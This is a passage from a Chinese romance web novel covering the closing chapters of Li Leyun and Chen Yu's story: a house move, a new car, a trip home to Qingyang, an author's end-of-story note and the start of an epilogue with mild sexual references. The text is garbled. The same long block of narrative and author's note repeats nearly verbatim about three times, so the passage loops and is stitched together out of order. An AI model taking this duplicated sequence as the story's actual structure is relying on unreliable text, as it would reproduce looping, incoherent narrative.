“那您放心,陈彧只能被我一个人欺负。”李乐韵心想,当年你不在青阳,陈彬彬那个狗东西可都是我打的。 老陈听见“欺负”这两个字就头疼,愈发觉得陈彧这么多年的书都白读了,到头来还是玩不过当年那个一练毛笔字就犯困的小丫头片子。 新车提到手后,搬家这个大工程也终于搞定。赵青青和顾昀来暖房,四个人一起做了一顿饭。李乐韵和陈彧这才发现,顾昀竟然是个厨艺高手。 李乐韵对陈彧啧嘴道:“看见没,青青一点也不傻。这年头哪还有傻姑娘啊,反倒是你们男的,明明一个两个都不咋地,但人倒是挺自信。” “我自信吗?”陈彧轻嗤。 “很自信啊,不然为什么当初先追我的是你,甩我的是你,而后来求和好的却是我呢。” “李小姐,旧账到底要翻多少遍才能善罢甘休?你不是自诩宽容大度善解人意的嘛。” “啵”一下,李乐韵踮脚亲了陈彧一口。理论不过的时候就使用魔法攻击,这一招非常好用。 “你这句话重说吧。”李乐韵对陈彧眨一下眼睛。 陈彧心里“呵呵”两声,露出虚伪的笑容,“谢谢你,你真好。感谢你给我将功赎罪的机会。” 李乐韵耸耸肩膀,“假话就是比真话好听。”. 夏末李乐韵的catti成绩出炉,二笔低分飘过,二口差一口气,这个成绩在她意料之中,除了有些后悔跳过三口直接考二口,别的她都能接受。 她嘴上说着不想努力,却在每一次重要考试上竭尽全力。天赋如此,尽力就好,人生的考试真的太多太多了,她才不要内耗。 陈彧问她明年还打算继续考吗,她说看心情。她现在所拥有的证书对她目前的工作来说已经完全够用了。书本上的学习是一回事,在职场里提升实践经验也同样重要。 每一个清晨,陈彧都会目送李乐韵的车先驶离小区,他们工作日的早上总是很匆忙,精致的李小姐要化妆要挑衣服,还要问他的建议,而他需要做早餐、给李小姐准备小零食,以及熨烫前一晚上没来得及熨好的衬衣。 陈彧出差和应酬依然很多,偶尔微醺着回家,会担忧地问李乐韵,她会不会不喜欢这个越来越世俗的男人了,李乐韵也找不到破局的办法,但是会安慰他,说自己依然没有学会理财和算账,陈老师也并不会责备她花钱大手大脚,他们就先学会互相包容吧。 至于未来又会变成什么样的人,会过什么样的生活,大原则框定在那里,他们只要互相扶持着迈过那些生活的褶皱,彼此的手不松开,最终的归途就一定是明亮的。 世俗的生活里也可以有纯真的爱。 十一假期,赶在检察院职工宿舍和那道矮院墙拆掉之前,李乐韵和陈彧回了趟青阳。 “老槐树不会也挪走吧。”李乐韵非常在乎这件事情。 得到不会挪走的回答后,她放下心来。 江晴问:“你们俩就为了这件事回来?” “当然不是啊,我回自己家还需要找理由嘛。” 李修文睨了李乐韵一眼,问陈彧:“你后来每次回来都住在外面的酒店?” 陈彧这次也没有着落,他只能住酒店。 江晴说:“家里的客房给你收拾出来了。” 陈彧看向李乐韵,李乐韵耸耸肩膀:“这可不是我交代的。得亏我们家是三室,否则你还是得去住酒店。” 李修文还是会过问他们俩的工作情况和生活状态。之前听说李乐韵跳槽和两人搬家的事时,也发表了一些他自认为很关键的建议。 江晴让李乐韵和陈彧该听的听,听的难受的部分就选择性遗忘,总之,他们俩不会完全按照长辈们的期许去经营自己的人生,顽固的李老师也不会轻易改变他爱子女的方式。大家互相理解吧。 江晴又说,陈彧本来就是李老师的心头好,现在过了那个不适应身份转换的阶段,又考察了他大半年之后,已经将他看成是自家孩子了。 自家孩子才可以留宿,但也只是留宿,李老师还是见不得他们俩腻歪在一起。 晚上两个人安顿好后,最近在娘家住的许竹莹来找他们玩。 李乐韵蹙眉盯着许竹莹的肚子,“怎么搬回来了?怀上了?”她一点也不希望许竹莹违背自己的意愿去生孩子。 许竹莹哼笑一声,“肚子里都是晚上我妈包的饺子,我是在跟吴耀文叫板呢。” “那跑回娘家有用吗?”李乐韵问。 “不知道,管他的呢。” 这话说完没多久,吴耀文就带了一包许竹莹的厚外套来了家属院。传统的男人脸色不悦,也不催“叛逆”的老婆回家,却很担心老婆换季降温没有厚衣服穿。 李乐韵跟陈彧说:“看吧,没有完美的婚姻,也没有完美的爱情。” 但是聪明的人类会尝试趋近圆满的方式去经营波折的人生。 “你觉得我聪明吗?”陈彧问李乐韵。 “还行吧。” “只是还行?” “还行就够用了,继续努力吧小陈。” 几个年轻人去到老槐树下,许竹莹提议给乔令打个视频。等待乔令接听的时候,许竹莹跟他们说,舒羽的小孩都快上幼儿园了,而乔令还一直单身。 视频接通,在墨尔本工作的乔令已经准备要睡觉,看见陈彧紧紧搂着李乐韵,啧啧嘴道:“陈彧哥,还是你深藏不露啊。你们俩什么时候结婚?到时候一定要提前告诉我。” “喂!我结婚你怎么不回来?”许竹莹听见这话不高兴了。 乔令看了眼眉头紧锁的吴耀文,说:“我又不认识你老公。陈彧哥和乐韵可都是咱们自己人。” “你就是偏心!” “你是姐姐乐韵是妹妹,哥哥当然更疼妹妹啦。”这是乔令的玩笑话,实际上,许竹莹结婚他也是想回来的,可那阵子他实在是请不到假。 李乐韵问乔令:“什么时候再一起旅行啊?” 陈彧真想拧断这个女人的脖子。挪开视线,看向墙的另一边,当年,这个傻姑娘就是站在那里,抱着他,为了视频里的这个男人掉眼泪。 当时他的心跟她一样疼。 结束跟乔令的视频通话后,陈彧不知道李乐韵跟许竹莹嘀咕了一句什么,许竹莹突然问他:“你们俩是分过一次手,对吗?” 陈彧是真不喜欢谈这件事情。 许竹莹又问:“那你知不知道乐韵很伤心?” 陈彧刚要点头,许竹莹接着说道:“她在电话里跟我哭了一个小时。从小到大,我从来没见过她哭。” 后面的数落陈彧都听不进去了,他看着李乐韵得意洋洋的脸,心想,你可真傻,你真是太傻了,你一点也不聪明。 许竹莹数落完就带着吴耀文走了,李乐韵伸手在陈彧的面前打了个响指,“真没意思,你的反应竟然这么平淡。” 陈彧一把将这个傻姑娘抱紧,把她的脑袋用力地按在他的心脏上。他现在满脑子都是她煎东西时的声音,那是心脏焦灼的感觉。 李乐韵听见了陈彧特别快的心跳。 她忽然有些担心,他不会心梗吧?那就先不要告诉他,她其实不只在打给许竹莹的电话里哭了一个小时,她其实还哭了好几个星期,她还为他生过一场病…… 日子还长着呢,等待着脆弱小陈的还有许多许多个热油烹心的时刻。 那就是他一直想要她表达的爱情的滋味啊。 她怎么可能不爱他呢。 就冲着她手里还有那么多让他俯首称臣的“筹码”,她也会永远跟他在一起。 而他,一颗心被她紧紧地攥在掌心,他逃不掉,也不想逃。 从小到大,他的小师妹一直掌管着他的心跳。 他想,他们会一直这样到老- end—— 作者有话说:正文完,番外明天起晚八日更~ 谢谢大家喜欢李乐乐同学和小干部陈工,你们有趣的段评和章评给生病的我带来了好多好多的欢乐和治愈。 我过去写过好几个破镜重圆的故事,基调好像都很“重”,今年特别想尝试写一个轻巧一点温暖一点的破镜重圆,希望自己做到了,更希望你们看文开心。 下个故事《魔法乐园》再见啦,届时依然会带着全文存稿来陪您度过美好时光,爱你们!亲亲所有人!《 》 第50章 尾声 第50章 尾声 永 李乐韵发现陈彧是个吃硬不吃软的家伙。他的大脑长得很特别, 里面有一个分区异于常人。 如果她整天对他黏黏糊糊,宝贝长哥哥短的,他就一定会把他四十岁的灵魂拿出来, 告诉她, 要克制要节制,两情若是久长时, 又岂在朝朝暮暮。 但如果她戴上高冷的面具, 减少对他勾手指的次数, 那他大脑的这块特殊分区就会飞快地开始运转,随后产生一万个“女朋友是不是不爱我了”的焦虑想法。 有一天夜里, 李乐韵的身体很开心, 又在颠簸的时候对他说出那句“我真的爱死你了”, 他闷闷不乐地结束,问她:“难道我别的地方就没有可取之处吗?” 李乐韵说有很多啊, 比如他会做饭、会做家务、温柔体贴之类的。他非常不满意这个答案,说这些都是功能性的优点,跟人格魅力毫无关系。 “你是希望我崇拜你吗?”李乐韵搞不懂他纠结的点到底在哪里。 “我希望你不只是在高潮时才会因为我心跳加速……” “你读书读傻了吧。最讨厌你说话文绉绉的,矫情死了。”李乐韵数落他一通后,树袋熊抱树一般抱着他睡着了。 爱到底是什么呢? 李乐韵拒绝一切高谈阔论,在她看来,爱就是陪伴,是一冬一夏一餐一饭, 是“早上好”和“晚安”, 是“我想和你在一起”和“我们永远不分开”。 她的恋爱高需求就是她爱的体现, 她现在一天见不到陈彧就很难受,超过四个小时不跟陈彧联络就会觉得心里缺点什么。 她觉得老古板那套“不在朝朝暮暮”的理论简直就是狗屁。 这天早上陈彧又迟到了,他很后悔为了让李乐韵在赵青青面前为他正名, 夜里付出了太多。 赵青青和顾昀朝他投来意味深长的目光,他顶着他的死人脸最后一个踏进会议室的门。 下午顾昀来送会议纪要,陈彧装作不经意地问他:“赵青青有没有说过喜欢你哪些地方?” “……”顾昀被问住了,这需要说吗? “领导,你不用没有安全感……” “好了,你出去吧。” 李乐韵并不是无心渣女,她还是打算思考一个温暖的回答来抚慰一下她的书呆子。 她发微信问陈彧:你今年一共迟到过几次? 陈彧:? 她写好稿子后,发来一条语音:你以前从来不迟到的,你也从来不睡懒觉,除了备考,你还从来不熬夜,你不喜欢在下面、不喜欢在浴室、做前要洗澡、事后要复盘,你讨厌喝奶茶、讨厌我在你开车的时候亲你、讨厌我在外人面前对你动手动脚……你的禁忌真的好多!可是现在呢,这些好像都被我给打破了。而我从前懒惰、散漫、不爱学习不求上进,自从被你给甩了,我突然脑子抽风,现在很多东西也正在向你靠近。你不是学霸嘛,不如总结一下这是为什么。要我来说,就是我们各自的心理秩序和人生秩序都被对方给打破了,我们为了彼此妥协和改变,这就是爱的渗透……好了六十秒快到了,你品去吧,特地发的是语音,方便你反复聆听学习做笔记,书呆子! 时空穿梭,这何尝不是对那通违心电话的回应呢。后来陈彧真的反复聆听了好多遍. 赶在炎夏来临之前,在田蕾的帮助下,李乐韵和陈彧在浦东找到一个地理位置折中的新房子,开始陆续搬家。 养乐多本来不愿意挪窝,但是姐姐和爸爸又领养了一只小橘去新家陪她,她一下子就心动。小橘是个调皮的妹妹,目前她们俩还算相处融洽。 李乐韵入职了新公司,除了又要记很多类似的英文名字之外,她一切都很适应。她很快就找到了新的饭搭子,新的上司也依然是一位很有野心的女士,她觉得自己的运气真的很好。当然,她也足够努力。 陈彧研究了李乐韵上班的路线后,打算给她买一辆小车,配合她都市丽人的腔调。这天他们去看车,老陈和陈杨也来了。 老陈跟陈杨阴阳怪气道,他的宝马陈彧开了半年,公里数超他们的车三倍,不跑长途能开这么多公里,八成是小李子老折腾他去浦西陪她。现在儿子自己不舍得买新车,钱都用来给女朋友买,这个小李子真是会拿捏人。 陈杨听后就一句话:“以后咱别做那种讨人嫌的公公好吗?” 李乐韵觉得老陈心疼自己儿子的点是有问题的,他是哪只眼睛看见她欺负陈彧了?她阴森森地凑到老陈跟前:“陈叔,听说你之前想让陈彧的领导给他介绍个上海本地的女朋友来着,那我悄悄告诉你哈,女方家庭条件稍微好点的,陈彧这样的进门之后就是赘婿……” “你啥意思?我儿子是哪点不如人?” “我没什么意思,就是想告诉您,陈彧跟了我,起码我跟他两个人是平等的。” 老陈觉得她惯会花言巧语,轻哼一声,“乐韵啊,你要是真聪明,就不要只管陈彧一个人,你什么时候能拿捏你们家李老师,那才算是真本事。陈彧心疼你,你也要心疼他啊对不对。” “那您放心,陈彧只能被我一个人欺负。”李乐韵心想,当年你不在青阳,陈彬彬那个狗东西可都是我打的。 老陈听见“欺负”这两个字就头疼,愈发觉得陈彧这么多年的书都白读了,到头来还是玩不过当年那个一练毛笔字就犯困的小丫头片子。 新车提到手后,搬家这个大工程也终于搞定。赵青青和顾昀来暖房,四个人一起做了一顿饭。李乐韵和陈彧这才发现,顾昀竟然是个厨艺高手。 李乐韵对陈彧啧嘴道:“看见没,青青一点也不傻。这年头哪还有傻姑娘啊,反倒是你们男的,明明一个两个都不咋地,但人倒是挺自信。” “我自信吗?”陈彧轻嗤。 “很自信啊,不然为什么当初先追我的是你,甩我的是你,而后来求和好的却是我呢。” “李小姐,旧账到底要翻多少遍才能善罢甘休?你不是自诩宽容大度善解人意的嘛。” “啵”一下,李乐韵踮脚亲了陈彧一口。理论不过的时候就使用魔法攻击,这一招非常好用。 “你这句话重说吧。”李乐韵对陈彧眨一下眼睛。 陈彧心里“呵呵”两声,露出虚伪的笑容,“谢谢你,你真好。感谢你给我将功赎罪的机会。” 李乐韵耸耸肩膀,“假话就是比真话好听。”. 夏末李乐韵的catti成绩出炉,二笔低分飘过,二口差一口气,这个成绩在她意料之中,除了有些后悔跳过三口直接考二口,别的她都能接受。 她嘴上说着不想努力,却在每一次重要考试上竭尽全力。天赋如此,尽力就好,人生的考试真的太多太多了,她才不要内耗。 陈彧问她明年还打算继续考吗,她说看心情。她现在所拥有的证书对她目前的工作来说已经完全够用了。书本上的学习是一回事,在职场里提升实践经验也同样重要。 每一个清晨,陈彧都会目送李乐韵的车先驶离小区,他们工作日的早上总是很匆忙,精致的李小姐要化妆要挑衣服,还要问他的建议,而他需要做早餐、给李小姐准备小零食,以及熨烫前一晚上没来得及熨好的衬衣。 陈彧出差和应酬依然很多,偶尔微醺着回家,会担忧地问李乐韵,她会不会不喜欢这个越来越世俗的男人了,李乐韵也找不到破局的办法,但是会安慰他,说自己依然没有学会理财和算账,陈老师也并不会责备她花钱大手大脚,他们就先学会互相包容吧。 至于未来又会变成什么样的人,会过什么样的生活,大原则框定在那里,他们只要互相扶持着迈过那些生活的褶皱,彼此的手不松开,最终的归途就一定是明亮的。 世俗的生活里也可以有纯真的爱。 十一假期,赶在检察院职工宿舍和那道矮院墙拆掉之前,李乐韵和陈彧回了趟青阳。 “老槐树不会也挪走吧。”李乐韵非常在乎这件事情。 得到不会挪走的回答后,她放下心来。 江晴问:“你们俩就为了这件事回来?” “当然不是啊,我回自己家还需要找理由嘛。” 李修文睨了李乐韵一眼,问陈彧:“你后来每次回来都住在外面的酒店?” 陈彧这次也没有着落,他只能住酒店。 江晴说:“家里的客房给你收拾出来了。” 陈彧看向李乐韵,李乐韵耸耸肩膀:“这可不是我交代的。得亏我们家是三室,否则你还是得去住酒店。” 李修文还是会过问他们俩的工作情况和生活状态。之前听说李乐韵跳槽和两人搬家的事时,也发表了一些他自认为很关键的建议。 江晴让李乐韵和陈彧该听的听,听的难受的部分就选择性遗忘,总之,他们俩不会完全按照长辈们的期许去经营自己的人生,顽固的李老师也不会轻易改变他爱子女的方式。大家互相理解吧。 江晴又说,陈彧本来就是李老师的心头好,现在过了那个不适应身份转换的阶段,又考察了他大半年之后,已经将他看成是自家孩子了。 自家孩子才可以留宿,但也只是留宿,李老师还是见不得他们俩腻歪在一起。 晚上两个人安顿好后,最近在娘家住的许竹莹来找他们玩。 李乐韵蹙眉盯着许竹莹的肚子,“怎么搬回来了?怀上了?”她一点也不希望许竹莹违背自己的意愿去生孩子。 许竹莹哼笑一声,“肚子里都是晚上我妈包的饺子,我是在跟吴耀文叫板呢。” “那跑回娘家有用吗?”李乐韵问。 “不知道,管他的呢。” 这话说完没多久,吴耀文就带了一包许竹莹的厚外套来了家属院。传统的男人脸色不悦,也不催“叛逆”的老婆回家,却很担心老婆换季降温没有厚衣服穿。 李乐韵跟陈彧说:“看吧,没有完美的婚姻,也没有完美的爱情。” 但是聪明的人类会尝试趋近圆满的方式去经营波折的人生。 “你觉得我聪明吗?”陈彧问李乐韵。 “还行吧。” “只是还行?” “还行就够用了,继续努力吧小陈。” 几个年轻人去到老槐树下,许竹莹提议给乔令打个视频。等待乔令接听的时候,许竹莹跟他们说,舒羽的小孩都快上幼儿园了,而乔令还一直单身。 视频接通,在墨尔本工作的乔令已经准备要睡觉,看见陈彧紧紧搂着李乐韵,啧啧嘴道:“陈彧哥,还是你深藏不露啊。你们俩什么时候结婚?到时候一定要提前告诉我。” “喂!我结婚你怎么不回来?”许竹莹听见这话不高兴了。 乔令看了眼眉头紧锁的吴耀文,说:“我又不认识你老公。陈彧哥和乐韵可都是咱们自己人。” “你就是偏心!” “你是姐姐乐韵是妹妹,哥哥当然更疼妹妹啦。”这是乔令的玩笑话,实际上,许竹莹结婚他也是想回来的,可那阵子他实在是请不到假。 李乐韵问乔令:“什么时候再一起旅行啊?” 陈彧真想拧断这个女人的脖子。挪开视线,看向墙的另一边,当年,这个傻姑娘就是站在那里,抱着他,为了视频里的这个男人掉眼泪。 当时他的心跟她一样疼。 结束跟乔令的视频通话后,陈彧不知道李乐韵跟许竹莹嘀咕了一句什么,许竹莹突然问他:“你们俩是分过一次手,对吗?” 陈彧是真不喜欢谈这件事情。 许竹莹又问:“那你知不知道乐韵很伤心?” 陈彧刚要点头,许竹莹接着说道:“她在电话里跟我哭了一个小时。从小到大,我从来没见过她哭。” 后面的数落陈彧都听不进去了,他看着李乐韵得意洋洋的脸,心想,你可真傻,你真是太傻了,你一点也不聪明。 许竹莹数落完就带着吴耀文走了,李乐韵伸手在陈彧的面前打了个响指,“真没意思,你的反应竟然这么平淡。” 陈彧一把将这个傻姑娘抱紧,把她的脑袋用力地按在他的心脏上。他现在满脑子都是她煎东西时的声音,那是心脏焦灼的感觉。 李乐韵听见了陈彧特别快的心跳。 她忽然有些担心,他不会心梗吧?那就先不要告诉他,她其实不只在打给许竹莹的电话里哭了一个小时,她其实还哭了好几个星期,她还为他生过一场病…… 日子还长着呢,等待着脆弱小陈的还有许多许多个热油烹心的时刻。 那就是他一直想要她表达的爱情的滋味啊。 她怎么可能不爱他呢。 就冲着她手里还有那么多让他俯首称臣的“筹码”,她也会永远跟他在一起。 而他,一颗心被她紧紧地攥在掌心,他逃不掉,也不想逃。 从小到大,他的小师妹一直掌管着他的心跳。 他想,他们会一直这样到老- end—— 作者有话说:正文完,番外明天起晚八日更~ 谢谢大家喜欢李乐乐同学和小干部陈工,你们有趣的段评和章评给生病的我带来了好多好多的欢乐和治愈。 我过去写过好几个破镜重圆的故事,基调好像都很“重”,今年特别想尝试写一个轻巧一点温暖一点的破镜重圆,希望自己做到了,更希望你们看文开心。 下个故事《魔法乐园》再见啦,届时依然会带着全文存稿来陪您度过美好时光,爱你们!亲亲所有人!《 》 第50章 尾声 第50章 尾声 永 李乐韵发现陈彧是个吃硬不吃软的家伙。他的大脑长得很特别, 里面有一个分区异于常人。 如果她整天对他黏黏糊糊,宝贝长哥哥短的,他就一定会把他四十岁的灵魂拿出来, 告诉她, 要克制要节制,两情若是久长时, 又岂在朝朝暮暮。 但如果她戴上高冷的面具, 减少对他勾手指的次数, 那他大脑的这块特殊分区就会飞快地开始运转,随后产生一万个“女朋友是不是不爱我了”的焦虑想法。 有一天夜里, 李乐韵的身体很开心, 又在颠簸的时候对他说出那句“我真的爱死你了”, 他闷闷不乐地结束,问她:“难道我别的地方就没有可取之处吗?” 李乐韵说有很多啊, 比如他会做饭、会做家务、温柔体贴之类的。他非常不满意这个答案,说这些都是功能性的优点,跟人格魅力毫无关系。 “你是希望我崇拜你吗?”李乐韵搞不懂他纠结的点到底在哪里。 “我希望你不只是在高潮时才会因为我心跳加速……” “你读书读傻了吧。最讨厌你说话文绉绉的,矫情死了。”李乐韵数落他一通后,树袋熊抱树一般抱着他睡着了。 爱到底是什么呢? 李乐韵拒绝一切高谈阔论,在她看来,爱就是陪伴,是一冬一夏一餐一饭, 是“早上好”和“晚安”, 是“我想和你在一起”和“我们永远不分开”。 她的恋爱高需求就是她爱的体现, 她现在一天见不到陈彧就很难受,超过四个小时不跟陈彧联络就会觉得心里缺点什么。 她觉得老古板那套“不在朝朝暮暮”的理论简直就是狗屁。 这天早上陈彧又迟到了,他很后悔为了让李乐韵在赵青青面前为他正名, 夜里付出了太多。 赵青青和顾昀朝他投来意味深长的目光,他顶着他的死人脸最后一个踏进会议室的门。 下午顾昀来送会议纪要,陈彧装作不经意地问他:“赵青青有没有说过喜欢你哪些地方?” “……”顾昀被问住了,这需要说吗? “领导,你不用没有安全感……” “好了,你出去吧。” 李乐韵并不是无心渣女,她还是打算思考一个温暖的回答来抚慰一下她的书呆子。 她发微信问陈彧:你今年一共迟到过几次? 陈彧:? 她写好稿子后,发来一条语音:你以前从来不迟到的,你也从来不睡懒觉,除了备考,你还从来不熬夜,你不喜欢在下面、不喜欢在浴室、做前要洗澡、事后要复盘,你讨厌喝奶茶、讨厌我在你开车的时候亲你、讨厌我在外人面前对你动手动脚……你的禁忌真的好多!可是现在呢,这些好像都被我给打破了。而我从前懒惰、散漫、不爱学习不求上进,自从被你给甩了,我突然脑子抽风,现在很多东西也正在向你靠近。你不是学霸嘛,不如总结一下这是为什么。要我来说,就是我们各自的心理秩序和人生秩序都被对方给打破了,我们为了彼此妥协和改变,这就是爱的渗透……好了六十秒快到了,你品去吧,特地发的是语音,方便你反复聆听学习做笔记,书呆子! 时空穿梭,这何尝不是对那通违心电话的回应呢。后来陈彧真的反复聆听了好多遍. 赶在炎夏来临之前,在田蕾的帮助下,李乐韵和陈彧在浦东找到一个地理位置折中的新房子,开始陆续搬家。 养乐多本来不愿意挪窝,但是姐姐和爸爸又领养了一只小橘去新家陪她,她一下子就心动。小橘是个调皮的妹妹,目前她们俩还算相处融洽。 李乐韵入职了新公司,除了又要记很多类似的英文名字之外,她一切都很适应。她很快就找到了新的饭搭子,新的上司也依然是一位很有野心的女士,她觉得自己的运气真的很好。当然,她也足够努力。 陈彧研究了李乐韵上班的路线后,打算给她买一辆小车,配合她都市丽人的腔调。这天他们去看车,老陈和陈杨也来了。 老陈跟陈杨阴阳怪气道,他的宝马陈彧开了半年,公里数超他们的车三倍,不跑长途能开这么多公里,八成是小李子老折腾他去浦西陪她。现在儿子自己不舍得买新车,钱都用来给女朋友买,这个小李子真是会拿捏人。 陈杨听后就一句话:“以后咱别做那种讨人嫌的公公好吗?” 李乐韵觉得老陈心疼自己儿子的点是有问题的,他是哪只眼睛看见她欺负陈彧了?她阴森森地凑到老陈跟前:“陈叔,听说你之前想让陈彧的领导给他介绍个上海本地的女朋友来着,那我悄悄告诉你哈,女方家庭条件稍微好点的,陈彧这样的进门之后就是赘婿……” “你啥意思?我儿子是哪点不如人?” “我没什么意思,就是想告诉您,陈彧跟了我,起码我跟他两个人是平等的。” 老陈觉得她惯会花言巧语,轻哼一声,“乐韵啊,你要是真聪明,就不要只管陈彧一个人,你什么时候能拿捏你们家李老师,那才算是真本事。陈彧心疼你,你也要心疼他啊对不对。” “那您放心,陈彧只能被我一个人欺负。”李乐韵心想,当年你不在青阳,陈彬彬那个狗东西可都是我打的。 老陈听见“欺负”这两个字就头疼,愈发觉得陈彧这么多年的书都白读了,到头来还是玩不过当年那个一练毛笔字就犯困的小丫头片子。 新车提到手后,搬家这个大工程也终于搞定。赵青青和顾昀来暖房,四个人一起做了一顿饭。李乐韵和陈彧这才发现,顾昀竟然是个厨艺高手。 李乐韵对陈彧啧嘴道:“看见没,青青一点也不傻。这年头哪还有傻姑娘啊,反倒是你们男的,明明一个两个都不咋地,但人倒是挺自信。” “我自信吗?”陈彧轻嗤。 “很自信啊,不然为什么当初先追我的是你,甩我的是你,而后来求和好的却是我呢。” “李小姐,旧账到底要翻多少遍才能善罢甘休?你不是自诩宽容大度善解人意的嘛。” “啵”一下,李乐韵踮脚亲了陈彧一口。理论不过的时候就使用魔法攻击,这一招非常好用。 “你这句话重说吧。”李乐韵对陈彧眨一下眼睛。 陈彧心里“呵呵”两声,露出虚伪的笑容,“谢谢你,你真好。感谢你给我将功赎罪的机会。” 李乐韵耸耸肩膀,“假话就是比真话好听。”. 夏末李乐韵的catti成绩出炉,二笔低分飘过,二口差一口气,这个成绩在她意料之中,除了有些后悔跳过三口直接考二口,别的她都能接受。 她嘴上说着不想努力,却在每一次重要考试上竭尽全力。天赋如此,尽力就好,人生的考试真的太多太多了,她才不要内耗。 陈彧问她明年还打算继续考吗,她说看心情。她现在所拥有的证书对她目前的工作来说已经完全够用了。书本上的学习是一回事,在职场里提升实践经验也同样重要。 每一个清晨,陈彧都会目送李乐韵的车先驶离小区,他们工作日的早上总是很匆忙,精致的李小姐要化妆要挑衣服,还要问他的建议,而他需要做早餐、给李小姐准备小零食,以及熨烫前一晚上没来得及熨好的衬衣。 陈彧出差和应酬依然很多,偶尔微醺着回家,会担忧地问李乐韵,她会不会不喜欢这个越来越世俗的男人了,李乐韵也找不到破局的办法,但是会安慰他,说自己依然没有学会理财和算账,陈老师也并不会责备她花钱大手大脚,他们就先学会互相包容吧。 至于未来又会变成什么样的人,会过什么样的生活,大原则框定在那里,他们只要互相扶持着迈过那些生活的褶皱,彼此的手不松开,最终的归途就一定是明亮的。 世俗的生活里也可以有纯真的爱。 十一假期,赶在检察院职工宿舍和那道矮院墙拆掉之前,李乐韵和陈彧回了趟青阳。 “老槐树不会也挪走吧。”李乐韵非常在乎这件事情。 得到不会挪走的回答后,她放下心来。 江晴问:“你们俩就为了这件事回来?” “当然不是啊,我回自己家还需要找理由嘛。” 李修文睨了李乐韵一眼,问陈彧:“你后来每次回来都住在外面的酒店?” 陈彧这次也没有着落,他只能住酒店。 江晴说:“家里的客房给你收拾出来了。” 陈彧看向李乐韵,李乐韵耸耸肩膀:“这可不是我交代的。得亏我们家是三室,否则你还是得去住酒店。” 李修文还是会过问他们俩的工作情况和生活状态。之前听说李乐韵跳槽和两人搬家的事时,也发表了一些他自认为很关键的建议。 江晴让李乐韵和陈彧该听的听,听的难受的部分就选择性遗忘,总之,他们俩不会完全按照长辈们的期许去经营自己的人生,顽固的李老师也不会轻易改变他爱子女的方式。大家互相理解吧。 江晴又说,陈彧本来就是李老师的心头好,现在过了那个不适应身份转换的阶段,又考察了他大半年之后,已经将他看成是自家孩子了。 自家孩子才可以留宿,但也只是留宿,李老师还是见不得他们俩腻歪在一起。 晚上两个人安顿好后,最近在娘家住的许竹莹来找他们玩。 李乐韵蹙眉盯着许竹莹的肚子,“怎么搬回来了?怀上了?”她一点也不希望许竹莹违背自己的意愿去生孩子。 许竹莹哼笑一声,“肚子里都是晚上我妈包的饺子,我是在跟吴耀文叫板呢。” “那跑回娘家有用吗?”李乐韵问。 “不知道,管他的呢。” 这话说完没多久,吴耀文就带了一包许竹莹的厚外套来了家属院。传统的男人脸色不悦,也不催“叛逆”的老婆回家,却很担心老婆换季降温没有厚衣服穿。 李乐韵跟陈彧说:“看吧,没有完美的婚姻,也没有完美的爱情。” 但是聪明的人类会尝试趋近圆满的方式去经营波折的人生。 “你觉得我聪明吗?”陈彧问李乐韵。 “还行吧。” “只是还行?” “还行就够用了,继续努力吧小陈。” 几个年轻人去到老槐树下,许竹莹提议给乔令打个视频。等待乔令接听的时候,许竹莹跟他们说,舒羽的小孩都快上幼儿园了,而乔令还一直单身。 视频接通,在墨尔本工作的乔令已经准备要睡觉,看见陈彧紧紧搂着李乐韵,啧啧嘴道:“陈彧哥,还是你深藏不露啊。你们俩什么时候结婚?到时候一定要提前告诉我。” “喂!我结婚你怎么不回来?”许竹莹听见这话不高兴了。 乔令看了眼眉头紧锁的吴耀文,说:“我又不认识你老公。陈彧哥和乐韵可都是咱们自己人。” “你就是偏心!” “你是姐姐乐韵是妹妹,哥哥当然更疼妹妹啦。”这是乔令的玩笑话,实际上,许竹莹结婚他也是想回来的,可那阵子他实在是请不到假。 李乐韵问乔令:“什么时候再一起旅行啊?” 陈彧真想拧断这个女人的脖子。挪开视线,看向墙的另一边,当年,这个傻姑娘就是站在那里,抱着他,为了视频里的这个男人掉眼泪。 当时他的心跟她一样疼。 结束跟乔令的视频通话后,陈彧不知道李乐韵跟许竹莹嘀咕了一句什么,许竹莹突然问他:“你们俩是分过一次手,对吗?” 陈彧是真不喜欢谈这件事情。 许竹莹又问:“那你知不知道乐韵很伤心?” 陈彧刚要点头,许竹莹接着说道:“她在电话里跟我哭了一个小时。从小到大,我从来没见过她哭。” 后面的数落陈彧都听不进去了,他看着李乐韵得意洋洋的脸,心想,你可真傻,你真是太傻了,你一点也不聪明。 许竹莹数落完就带着吴耀文走了,李乐韵伸手在陈彧的面前打了个响指,“真没意思,你的反应竟然这么平淡。” 陈彧一把将这个傻姑娘抱紧,把她的脑袋用力地按在他的心脏上。他现在满脑子都是她煎东西时的声音,那是心脏焦灼的感觉。 李乐韵听见了陈彧特别快的心跳。 她忽然有些担心,他不会心梗吧?那就先不要告诉他,她其实不只在打给许竹莹的电话里哭了一个小时,她其实还哭了好几个星期,她还为他生过一场病…… 日子还长着呢,等待着脆弱小陈的还有许多许多个热油烹心的时刻。 那就是他一直想要她表达的爱情的滋味啊。 她怎么可能不爱他呢。 就冲着她手里还有那么多让他俯首称臣的“筹码”,她也会永远跟他在一起。 而他,一颗心被她紧紧地攥在掌心,他逃不掉,也不想逃。 从小到大,他的小师妹一直掌管着他的心跳。 他想,他们会一直这样到老- end—— 作者有话说:正文完,番外明天起晚八日更~ 谢谢大家喜欢李乐乐同学和小干部陈工,你们有趣的段评和章评给生病的我带来了好多好多的欢乐和治愈。 我过去写过好几个破镜重圆的故事,基调好像都很“重”,今年特别想尝试写一个轻巧一点温暖一点的破镜重圆,希望自己做到了,更希望你们看文开心。 下个故事《魔法乐园》再见啦,届时依然会带着全文存稿来陪您度过美好时光,爱你们!亲亲所有人!《 》 第50章 尾声 第50章 尾声 永 李乐韵发现陈彧是个吃硬不吃软的家伙。他的大脑长得很特别, 里面有一个分区异于常人。 如果她整天对他黏黏糊糊,宝贝长哥哥短的,他就一定会把他四十岁的灵魂拿出来, 告诉她, 要克制要节制,两情若是久长时, 又岂在朝朝暮暮。 但如果她戴上高冷的面具, 减少对他勾手指的次数, 那他大脑的这块特殊分区就会飞快地开始运转,随后产生一万个“女朋友是不是不爱我了”的焦虑想法。 有一天夜里, 李乐韵的身体很开心, 又在颠簸的时候对他说出那句“我真的爱死你了”, 他闷闷不乐地结束,问她:“难道我别的地方就没有可取之处吗?” 李乐韵说有很多啊, 比如他会做饭、会做家务、温柔体贴之类的。他非常不满意这个答案,说这些都是功能性的优点,跟人格魅力毫无关系。 “你是希望我崇拜你吗?”李乐韵搞不懂他纠结的点到底在哪里。 